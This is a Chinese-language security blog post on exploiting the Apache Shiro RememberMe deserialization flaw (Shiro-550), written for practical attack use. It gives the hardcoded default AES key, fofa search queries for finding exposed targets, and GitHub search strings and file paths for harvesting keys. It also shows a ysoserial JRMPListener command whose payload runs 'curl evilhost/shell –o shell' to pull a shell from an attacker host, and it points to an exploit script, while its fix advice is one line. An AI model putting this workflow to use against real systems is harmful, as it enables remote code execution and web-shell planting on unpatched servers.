Apache Shiro 反序列化漏洞实战

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本改进。主要修改了检测方式,并使利用方式更加简单灵活,使其更具有实战意义,提升其效率。

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)

在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏洞利用条件
由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

检测与利用

目标发现与寻找
Shrio框架的特征是登录页面的cookie中存在remeberMe=deleteMe(失败时返回的值)的内容。通过该特征发现Shiro的系统有几种方式:
1、在登录页面时,提交表单后看set-cookie是否存在remeberMe=deleteMe。

2、在流量中搜索remeberMe=deleteMe。

3、通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。
例如fofa的搜索关键词:header="rememberme=deleteMe"、header="shiroCookie"

漏洞检测
漏洞检测的面临的问题:
1、该漏洞无法回显
2、系统环境复杂
3、aes的key可能被修改。
对于第一个问题,可以通过dnslog平台,使用ysoserial的URLDNS Gadget来检测,使用这个Gadget好处就是通用。这种检测也可以解决系统环境复杂的问题。但是这里要注意解析会有ttl值缓存,检测时建议每次随机生成一个子域名。
对于第三个问题,我们可以通过网络收集,文件读取漏洞来获取key。通过github,搜索引擎这里收集到了23个key。
这里列出搜索关键词或者文件路径:
github搜索关键词

securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode

配置文件路径或者名
WEB-INF/shiro.ini
ShiroConfig.java

利用方式
根据大牛的文章以及实际测试,漏洞利用目前使用jndi和jrmp比较好。使用ysoserial的exploit功能即可。
服务器上执行
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'curl evilhost/shell –o shell'

本地通过JRMPClient的payload链接服务器上的JRMP服务使用网上的漏洞利用工具发送即可利用成功。

漏洞脚本地址:Shiro_exploit

修复建议

1、不要使用硬编码,不要使用硬编码,不要使用硬编码。

参考链接

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://issues.apache.org/jira/browse/SHIRO-550
https://blog.knownsec.com/2016/08/apache-shiro-java/
https://www.cnblogs.com/loong-hon/p/10619616.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.freebuf.com/vuls/178014.html
https://www.cnblogs.com/peterpan0707007/p/11342997.html
https://github.com/frohoff/ysoserial